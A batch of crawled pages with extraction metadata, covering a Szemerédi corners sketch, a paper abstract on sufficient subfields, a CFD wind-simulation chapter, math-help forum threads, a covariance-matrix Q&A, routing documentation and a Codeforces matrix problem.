$f$ is small, then $E$ contains about the right number of corners $\{ (x,y), (x+a,y), (x,y+a)\}.$ Restricted to the subspace of course. What does that mean? Well, you treat each of the $a_i$ as a single coordinate, moving them together. The other coordinates I’m not sure about. Maybe you can just fix them in the right way and have the norm that was small summing over all of $X$ still come out small. At any rate, the real trick is to show that if both coordinate 2-norms are big, you get a density increment on a subspace. Here a subspace surely means that you find some $a_i$s, treat them as single coordinates, and fix the values on the other coordinates. (If the analogy with Shkredov's proof of the Szemeredi corners theorem holds, you probably only need for one of these norms to be big....)	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9040843844413757, "perplexity": 231.83756146314738}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-47/segments/1573496668896.47/warc/CC-MAIN-20191117064703-20191117092703-00085.warc.gz"}
https://projecteuclid.org/euclid.aoms/1177704584	## The Annals of Mathematical Statistics ### On the Order Structure of the Set of Sufficient Subfields D. L. Burkholder #### Abstract In [5], the concept of statistical sufficiency is studied within a general probability setting. The study is continued here. The notation and definitions of [5] are used. Here we give an example of sufficient statistics $t_1$ and $t_2$ such that the pair $(t_1, t_2)$ is not sufficient. The example also has the property that, in a sense to be made precise, no smallest sufficient statistic containing $t_1$ and $t_2$ exists. In Example 4 of [5], sufficient subfields $\mathbf{A}_1$ and $\mathbf{A}_2$ are exhibited such that $\mathbf{A}_1 \vee \mathbf{A}_2$, the smallest subfield containing $\mathbf{A}_1 and \mathbf{A}_2$, is not sufficient. Such an example is given here with the even stronger property that no smallest sufficient subfield containing $\mathbf{A}_1$ and $\mathbf{A}_2$ exists. Let $(X, \mathbf{A}, P)$ be the probability structure under consideration. Here $X$ is a set, $\mathbf{A}$ is a $\sigma$-field of subsets of $X$, and $P$ is a family of probability measures $p$ on $\mathbf{A}$. Let $\mathbf{N}$ be the smallest $\sigma$-field containing the $P$-null sets and let $K$ be the collection of sufficient subfields of $A$ containing $N$. (Restricting attention to sufficient subfields containing $N$ is technically convenient. Note that any sufficient subfield is equivalent, in the usual sense, to one containing $N$.) Some of the properties of $K$ can be described in the language of lattice theory as follows. Let $L$ be the set of subfields (= sub-$\sigma$-fields) of $\mathbf{A}$. Then $L$, partially ordered by inclusion, is a complete lattice. (Our terminology is essentially that of Birkhoff [4].) Example 4 of [5], mentioned above, shows that $K$ is not always a sublattice of $L$. The example given below shows more: The set $K$, partially ordered by inclusion, is not always a lattice in its own right. Note, however, that if $H$ is a finite, or even countable, subset of $K$, then the greatest lower bound of $H$ relative to $L$ exists and is in $K$ ([5], Corollary 2). The difficulty is with the least upper bound. There is less difficulty if $\mathbf{A}$ is separable. Corollaries 2 and 4 of [5] indicate that if $A$ is separable, then $K$ is a $\sigma$-complete sublattice of $L$. This is about as strong a result as could be expected here. For even if $\mathbf{A}$ is separable, $\mathbf{K}$ is sometimes neither complete nor conditionally complete: Each of the nonsufficient subfields exhibited in Example 1 of [5] is easily seen to be both the greatest lower bound of a subset of $K$ and the least upper bound of a subset of $K$. There is no difficulty if $P$ is dominated. If $P$ is dominated, then $K$ is a complete sublattice of $L$. This follows easily from the existence in this case (Bahadur [2], Theorems 6.2 and 6.4; Loeve [6], Section 24.4) of a subfield $\mathbf{A}_0$ in $K$ such that $K = \{\mathbf{B} \mid \mathbf{B} \epsilon L, \mathbf{A}_0 \subset \mathbf{B}\}$. #### Article information Source Ann. Math. Statist., Volume 33, Number 2 (1962), 596-599. Dates First available in Project Euclid: 27 April 2007 https://projecteuclid.org/euclid.aoms/1177704584 Digital Object Identifier doi:10.1214/aoms/1177704584 Mathematical Reviews number (MathSciNet) MR137227 Zentralblatt MATH identifier 0127.34808 JSTOR	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9478095769882202, "perplexity": 169.3523409504003}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570987795403.76/warc/CC-MAIN-20191022004128-20191022031628-00019.warc.gz"}
http://fabien.galerio.org/drivingrain/fjrvanmook2002/node26.htm	# 6.1 Wind calculation method Numerical simulations of the wind around the Main Building were performed by the commercially available CFD package Fluent. We used versions 4.4 and 4.5 and the differences between these two versions are not relevant for our purpose. The used turbulence model is a standard - model ([Fluent 1995], or see e.g. [Launder and Spalding 1974] and [Rodi 1980]). Model constants The applied values for the - model constants are: , , , and . Except for , the standard values of the - model have been applied (the model and the constants are described in [Launder and Spalding 1974]). The constant was adapted according to the findings of [Bottema 1993b], who also compared the results of his simulations favourably with wind tunnel measurements. Grid The applied grid is a so-called structured grid. The size of the three-dimensional computational domain was determined by the rules of thumb given by [Bottema 1993a] and based on general estimates of the influence zone in which wind speeds deviate by more than 10% due to the presence of the building. The reader is also referred to section 2.1.4. For the description of this zone the dimension , i.e. the smaller of and , is used. The upstream influence zone is about and its downstream counterpart extends to . The influence zone in lateral and vertical directions extends to . The boundaries of the computational domain should be outside the influence zone, although for the downstream influence zone one may make an exception and put the boundary at only [Bottema 1993a]. As is 90 m (=) in our case, the computational domain should be about (=1170 m) long along the wind direction. To be able to simulate wind flow around the Main Building at oblique angles, the chosen computational domain is rectangular with the Main Building situated in the south-west corner, at from the south and the west domain boundaries. The actual three-dimensional computational domain is 1190 m long in east-west direction, 1477 m long in north-south direction and 225 m high. It consists of 95, 96 and 47 cells, respectively. Figure 6.1 shows the computational grid with the three buildings (Auditorium, Main Building and Building T) in it. Two variants of the shown configuration will be applied: with and without Building T. There are two reasons for this. Firstly, the influence of Building T on winds from south-west to south can be presented. Secondly, the grid without Building T is symmetric with respect to the east-west plane. This implies that winds from directions and (where is a value from 0 to 90) can be studied using one simulation. The grid cells become progressively smaller near building boundaries. The first grid cells on the façade of the Main Building have a thickness of 0.25 m. Care is taken to keep the grid expansion factor of two successive grid lines between 0.7 and 1.3. However, since the grid is structured, undesired large expansion factors and cell aspect ratios are inevitable in some parts of the grid. Wind profile The profile of the wind entering the domain is described by: (6.1) and: (6.2) with = longitudinal wind velocity [m s] at height [m] above ground level, = roughness length [m] for 20 m, = roughness length [m] for 20 m, = friction velocity [m s], = friction velocity [m s], resulting from the requirement that is continuous at 20 m, = von Kármán constant (0.4), and = displacement height [m]. The applied values of 1.0 m and 10 m were taken from results of measurements at the site by [Geurts 1997]. The division of the wind profile in two parts is necessary to account for the displacement height of 10 m; otherwise, the wind profile below 10 m height would be undetermined. Moreover, the fetch consists of a park up to a distance of 400 m from the Main Building (therefore an estimated of 0.1 m) and buildings west from the park with a height of 20 m. The choice of and the choice that the boundary between the two parts of the profile is at 20 m height, are relatively arbitrary, but the simulation results are not very sensitive to the precise values of these parameters. The friction velocity is based on the wind speed at Eindhoven Airport (7.5 km westward from the Main Building, with = 10 m, = 0.03 m and = 0 m). See section 5.2.1 for a discussion on the measurements of . Turbulent kinetic energy The profiles of the turbulent kinetic energy and its dissipation rate, for wind coming into the domain are described by: (6.3) and: (6.4) respectively, with = turbulent kinetic energy per unit of mass [m s], and = energy dissipation rate [m s]. Terrain roughness In Fluent the roughness of surfaces is modelled by the following formula: (6.5) where is a roughness parameter [-] and is the kinematic viscosity [m s] of air. The roughness parameter is empirically determined. Its value is 9.8 for a smooth wall. Equation 6.5 corresponds to the wind profile (eqs. 6.1 and 6.2) if: (6.6) Façade roughness Equations 6.5 and 6.6 are also applied to model the surface roughness of the building façades. As the façade consists of a smooth glass cladding, a value of 0.0005 m is assumed for its roughness length , Separation modelling Separation of the airflow at corners has been modelled by so-called link-cuts'' (i.e. a feature of Fluent by which the wall-function in a computational cell is disabled). Chosen wind speeds and directions The following reference wind speeds and directions at the mast on the Auditorium were chosen for the wind calculations: • 3.5, 5.7 and 11.2 m s, • 210, 240, 270, 300 and 330. Not every combination was simulated, see table 6.2 for the simulations which were actually performed. Recall that we use two geometrical models, namely with and without the inclusion of Building T, and because of symmetry, the simulations with 240 will be used to represent 300 too. The validity of these `double simulations' will be discussed in section 6.3. © 2002 Fabien J.R. van Mook ISBN 90-6814-569-X Published as issue 69 in the Bouwstenen series of the Faculty of Architecture, Planning and Building of the Eindhoven University of Technology.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8933719396591187, "perplexity": 921.6053951210046}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-47/segments/1510934803848.60/warc/CC-MAIN-20171117170336-20171117190336-00731.warc.gz"}
https://web2.0calc.com/questions/urgent-solve-in-key-steps-please-v2sin-30-v1cos-30-cos-45-cos45-17	+0 # Urgent* Two particals, find the velocity for each. +3 1040 2 +1314 Urgent* Two particals, find the velocity for each. Note: the v1 and v2 are velocities. 17= v1sin(30)+v2sin(-45) Along the x axis. Substituting in the y axis equation where v2 = v1cos(30)/cos(45) v2sin(30) -v1cos(30)/cos(45) cos45 = 17 Jul 18, 2014 #7 +30371 +10 I think you might be trying to solve the following equations (from a previous problem): 17 = v1cos(45) + v2cos(30) ...(1) 0 = -v1sin(45) + v2sin(30) ...(2) Add v1sin(45) to both sides of (2) and then divide both sides by sin(45) v1 = v2sin(30)/sin(45) ...(3) Replace v1 in (1) by (3) 17 = v2sin(30)/sin(45)cos(45) + v2cos(30) Factor the right-hand side 17 = v2[sin(30)/sin(45)cos(45) + cos(30)] Divide both sides by [sin(30)/sin(45)cos(45) + cos(30)] to get v2 v2 = 17/[sin(30)/sin(45)cos(45) + cos(30)] ...(4) Replace v2 in (3) by (4) to get v1 v1 = 17/[sin(30)/sin(45)cos(45) + cos(30)]sin(30)/sin(45) $${\mathtt{v1}} = {\frac{{\frac{{\mathtt{17}}}{\left[{\frac{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{30}}^\circ\right)}}{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{45}}^\circ\right)}}}{\mathtt{\,\times\,}}\underset{\,\,\,\,^{{360^\circ}}}{{cos}}{\left({\mathtt{45}}^\circ\right)}{\mathtt{\,\small\textbf+\,}}\underset{\,\,\,\,^{{360^\circ}}}{{cos}}{\left({\mathtt{30}}^\circ\right)}\right]}}{\mathtt{\,\times\,}}\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{30}}^\circ\right)}}{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{45}}^\circ\right)}}} \Rightarrow {\mathtt{v1}} = {\mathtt{8.799\: \!847\: \!533\: \!482\: \!900\: \!7}}$$ $${\mathtt{v2}} = {\frac{{\mathtt{17}}}{\left[{\frac{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{30}}^\circ\right)}}{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{45}}^\circ\right)}}}{\mathtt{\,\times\,}}\underset{\,\,\,\,^{{360^\circ}}}{{cos}}{\left({\mathtt{45}}^\circ\right)}{\mathtt{\,\small\textbf+\,}}\underset{\,\,\,\,^{{360^\circ}}}{{cos}}{\left({\mathtt{30}}^\circ\right)}\right]}} \Rightarrow {\mathtt{v2}} = {\mathtt{12.444\: \!863\: \!728\: \!674\: \!910\: \!2}}$$ . Jul 18, 2014 #7 +30371 +10 I think you might be trying to solve the following equations (from a previous problem): 17 = v1cos(45) + v2cos(30) ...(1) 0 = -v1sin(45) + v2sin(30) ...(2) Add v1sin(45) to both sides of (2) and then divide both sides by sin(45) v1 = v2sin(30)/sin(45) ...(3) Replace v1 in (1) by (3) 17 = v2sin(30)/sin(45)cos(45) + v2cos(30) Factor the right-hand side 17 = v2[sin(30)/sin(45)cos(45) + cos(30)] Divide both sides by [sin(30)/sin(45)cos(45) + cos(30)] to get v2 v2 = 17/[sin(30)/sin(45)cos(45) + cos(30)] ...(4) Replace v2 in (3) by (4) to get v1 v1 = 17/[sin(30)/sin(45)cos(45) + cos(30)]*sin(30)/sin(45) $${\mathtt{v1}} = {\frac{{\frac{{\mathtt{17}}}{\left[{\frac{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{30}}^\circ\right)}}{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{45}}^\circ\right)}}}{\mathtt{\,\times\,}}\underset{\,\,\,\,^{{360^\circ}}}{{cos}}{\left({\mathtt{45}}^\circ\right)}{\mathtt{\,\small\textbf+\,}}\underset{\,\,\,\,^{{360^\circ}}}{{cos}}{\left({\mathtt{30}}^\circ\right)}\right]}}{\mathtt{\,\times\,}}\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{30}}^\circ\right)}}{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{45}}^\circ\right)}}} \Rightarrow {\mathtt{v1}} = {\mathtt{8.799\: \!847\: \!533\: \!482\: \!900\: \!7}}$$ $${\mathtt{v2}} = {\frac{{\mathtt{17}}}{\left[{\frac{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{30}}^\circ\right)}}{\underset{\,\,\,\,^{{360^\circ}}}{{sin}}{\left({\mathtt{45}}^\circ\right)}}}{\mathtt{\,\times\,}}\underset{\,\,\,\,^{{360^\circ}}}{{cos}}{\left({\mathtt{45}}^\circ\right)}{\mathtt{\,\small\textbf+\,}}\underset{\,\,\,\,^{{360^\circ}}}{{cos}}{\left({\mathtt{30}}^\circ\right)}\right]}} \Rightarrow {\mathtt{v2}} = {\mathtt{12.444\: \!863\: \!728\: \!674\: \!910\: \!2}}$$ Alan Jul 18, 2014 #8 +1314 0 Thanks. Now I shouldnt get lost. Jul 21, 2014	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6171915531158447, "perplexity": 13436.983317453507}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593657140337.79/warc/CC-MAIN-20200712211314-20200713001314-00281.warc.gz"}
https://brilliant.org/problems/integration-of-the-greatest-integer-function-2/	Integration of the greatest integer function #2 Calculus Level 3 $\large \int\limits_0^{\pi} \left\lfloor x\right\rfloor \, dx = \ ?$	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 1, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.916448712348938, "perplexity": 2074.5402716561225}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178361510.12/warc/CC-MAIN-20210228145113-20210228175113-00127.warc.gz"}
http://mathhelpforum.com/calculus/210478-integral.html	# Math Help - Integral 1. ## Integral Hello! How would you integrate 2^x / ln2? Thanks already! 2. ## Re: Integral $\displaystyle 2^x=e^{\ln 2^x}=e^{x \ln 2}$ 3. ## Re: Integral note that: $\frac{1}{\ln(2)} = \frac{\ln(2)}{(\ln(2))^2}$ you can take the denominator (which is just a constant) outside the integral, so: $\int \frac{2^x}{\ln(2)}\ dx = \frac{1}{(\ln(2))^2}\int \ln(2)2^x\ dx = \frac{1}{(\ln(2))^2} \int e^{\ln(2)x} \ln(2)\ dx$ if you use the substitution $u = \ln(2)x$ what would $du$ be?	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 5, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9990562796592712, "perplexity": 4574.930002726203}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-14/segments/1427131300031.56/warc/CC-MAIN-20150323172140-00056-ip-10-168-14-71.ec2.internal.warc.gz"}
https://stats.stackexchange.com/questions/341250/covariance-matrix-of-image-data-is-not-positive-definite-matrix	# Covariance matrix of image data is not positive definite matrix I've really hit the wall here and need help with direction :). I am trying to use mvnpdf as part of basic EM algorithm but the covariance matrix of data seems to be not positive definite. There are many discussion on this topic and I think I have followed all the major one’s without success. Also I want to understand how this problem should be dealt with real world data. Data Description I have face-image data (2800 images) where each image is 60x60x3 = 10800 variable vector. The pixel data is normalised between [0,1]. Following code Ive used to calculate covariance % x is the 2800x10800 data matrix % I = 2800 dataset_mean = sum(x,1)./I; sig = zeros (dimensionality, dimensionality); for i = 1 : I mat = x (i,:) - dataset_mean; mat = mat' * mat; sig = sig + mat; end sig = sig ./ I; Following points I have thought, 1. [~,p] = chol(sig) gives me ~2800 hence because 'p' is positive it is definitely not Positive Definite. No idea why it always close to number of data points/rows. 2. Tried, [R,err]=cholcov(s, 0); because I've read that it is the method used inside mvnpdf and I get err +ve indicating that it is Positive Definite 3. Eigenvector has a lot of negative values but all of them are all very close to 0 (i.e. range of e-12). What I understand that it is numerical residual error of some sort hence I am using my own code to calculate covariance (above ) rather than an in-built function. 4. The determinant of covariance matrix (sig) is also 0, as I understand that it means that the variable is the data matrix and too correlated. Am I right here? 5. From point 3 and 4 I thought this is a case of Multivariate dependencies, where several variables together perfectly predict another variable. Follow things I have tried, • To fix eigenvector problem - 1.Added small amount on the diagonal of covariance matrix. 2.Make all near zero -ve eigenvector 0 and reconstruct covariance matrix Ref : http://comisef.wikidot.com/tutorial:repairingcorrelation % compute eigenvectors/-values [V,D] = eig(C); % replace negative eigenvalues by zero D = max(D, 0); % reconstruct correlation matrix BB = V * D * V'; % rescale correlation matrix T = 1 ./ sqrt(diag(BB)); TT = T * T'; C = BB .* TT; 1. Used SVD to reconstruct covariance matrix 2. nearestSPD by John D’Errico Ref : https://in.mathworks.com/matlabcentral/fileexchange/42885-nearestspd All above three methods gave Positive Definite matrix which I confirmed by using, [R,err]=cholcov(s, 0); but determinant was still 0. Additionally, mvnpdf gave me Inf value and I think it is because determinant of covariance matrix was 0 and it messed up the inverse calculation for covariance inside mvnpdf. So, my question is that what do I need to do next, am I missing something? and I am sure this problem exists with real world data hence how is it tackled ? Your covariance matrix isn't positive definite because you have more dimensions (i.e. pixels per image) than data points. Given $n$ points and $d$ dimensions, the rank of the sample covariance matrix (i.e. number of positive eigenvalues) is at most $\min \{n, d\}$. Since you have $n < d$, you have rank at most $n$. All remaining eigenvalues will be zero (i.e. the covariance matrix will be positive semidefinite). But, an eigensolver might report miniscule positive/negative values instead of true zeros due to numerical issues. This also means that the determinant (i.e. product of the eigenvalues) will be zero. The rank of the covariance matrix indicates how many dimensions the data span. Geometrically, you have data that lie on a hyperplane of at most $n$ dimensions, embedded in a larger $d$ dimensional space. The eigenvalues of the covariance matrix indicate the variance of the data along the direction of the eigenvectors. Since you have many zero eigenvalues, this means the data is completely flat along these directions. To work around this issue, you'd have to impose a prior on the covariance matrix that fattens out the flat directions. A common way to do this is to regularize the covariance matrix by adding some small value $\lambda$ to the diagonal: $C \leftarrow C + \lambda I$ (where $I$ is the identity matrix). This adds $\lambda$ to every eigenvalue, which has the effect of declaring that the variance is $\lambda$ along the direction of eigenvectors that formerly had zero variance. A better option would be to apply dimensionality reduction (e.g. PCA), then simply work in the lower dimensional space (do you really want to deal with 10800 x 10800 covariance matrices?). Since you're working with face images, it's quite possible that your data has much lower dimensionality that $n$ (and if it doesn't, there may not be any hope of proceeding without gathering much more data).	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7315298318862915, "perplexity": 795.1953385514363}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323587593.0/warc/CC-MAIN-20211024173743-20211024203743-00496.warc.gz"}
https://docs.precisely.com/docs/sftw/spectrum/22.1/en/webhelp/Spatial/ERM/source/Rest/ClosestArcSnapping/impact_on_route_and_matrix_calculations.html	# Impact on Route and Matrix Calculations In some cases, the user receives an error - “Path could not be calculated.” This error is caused by restricted closest arcs. The improved snapping logic helps in reducing such errors by avoiding restricted arcs. The improved logic takes the closest arc into consideration and attempts to ignore such arcs thus reducing errors. For example, if there is any restricted road near the start or end point, the new snapping logic ignores the restricted path and finds another way to calculate the route matrix. With the reduced errors caused by restricted arcs, the performance of route and matrix calculations increases as the routing algorithm has less number of path complexities to handle. startpoint: -73.5661, 45.5077 endPoint: -73.576048, 45.496936 Table 1. Comparing Boundaries Before After “Path could not be calculated” error startPoint: -80.146276, 26.707754 endPoint: -81.483591, 28.583825 Table 2. Comparing Boundaries Before After “Path could not be calculated” error	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9008151292800903, "perplexity": 4226.082701807494}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-06/segments/1674764499634.11/warc/CC-MAIN-20230128121809-20230128151809-00281.warc.gz"}
http://codeforces.com/problemset/problem/390/E	E. Inna and Large Sweet Matrix time limit per test 1 second memory limit per test 512 megabytes input standard input output standard output Inna loves sweets very much. That's why she wants to play the "Sweet Matrix" game with Dima and Sereja. But Sereja is a large person, so the game proved small for him. Sereja suggested playing the "Large Sweet Matrix" game. The "Large Sweet Matrix" playing field is an n × m matrix. Let's number the rows of the matrix from 1 to n, and the columns — from 1 to m. Let's denote the cell in the i-th row and j-th column as (i, j). Each cell of the matrix can contain multiple candies, initially all cells are empty. The game goes in w moves, during each move one of the two following events occurs: 1. Sereja chooses five integers x1, y1, x2, y2, v (x1 ≤ x2, y1 ≤ y2) and adds v candies to each matrix cell (i, j) (x1 ≤ i ≤ x2y1 ≤ j ≤ y2). 2. Sereja chooses four integers x1, y1, x2, y2 (x1 ≤ x2, y1 ≤ y2). Then he asks Dima to calculate the total number of candies in cells (i, j) (x1 ≤ i ≤ x2y1 ≤ j ≤ y2) and he asks Inna to calculate the total number of candies in the cells of matrix (p, q), which meet the following logical criteria: (p < x1 OR p > x2) AND (q < y1 OR q > y2). Finally, Sereja asks to write down the difference between the number Dima has calculated and the number Inna has calculated (D - I). Unfortunately, Sereja's matrix is really huge. That's why Inna and Dima aren't coping with the calculating. Help them! Input The first line of the input contains three integers n, m and w (3 ≤ n, m ≤ 4·106; 1 ≤ w ≤ 105). The next w lines describe the moves that were made in the game. • A line that describes an event of the first type contains 6 integers: 0, x1, y1, x2, y2 and v (1 ≤ x1 ≤ x2 ≤ n; 1 ≤ y1 ≤ y2 ≤ m; 1 ≤ v ≤ 109). • A line that describes an event of the second type contains 5 integers: 1, x1, y1, x2, y2 (2 ≤ x1 ≤ x2 ≤ n - 1; 2 ≤ y1 ≤ y2 ≤ m - 1). It is guaranteed that the second type move occurs at least once. It is guaranteed that a single operation will not add more than 109 candies. Be careful, the constraints are very large, so please use optimal data structures. Max-tests will be in pretests. Output For each second type move print a single integer on a single line — the difference between Dima and Inna's numbers. Examples Input 4 5 50 1 1 2 3 20 2 2 3 3 30 1 5 4 5 11 2 3 3 41 3 4 3 4 Output 2-21 Note Note to the sample. After the first query the matrix looks as: 2220022200 0000000000 After the second one it is: 222002550003300 00000 After the third one it is: 22201255010330100001 For the fourth query, Dima's sum equals 5 + 0 + 3 + 0 = 8 and Inna's sum equals 4 + 1 + 0 + 1 = 6. The answer to the query equals 8 - 6 = 2. For the fifth query, Dima's sum equals 0 and Inna's sum equals 18 + 2 + 0 + 1 = 21. The answer to the query is 0 - 21 = -21.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.24698375165462494, "perplexity": 381.7696790628692}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, 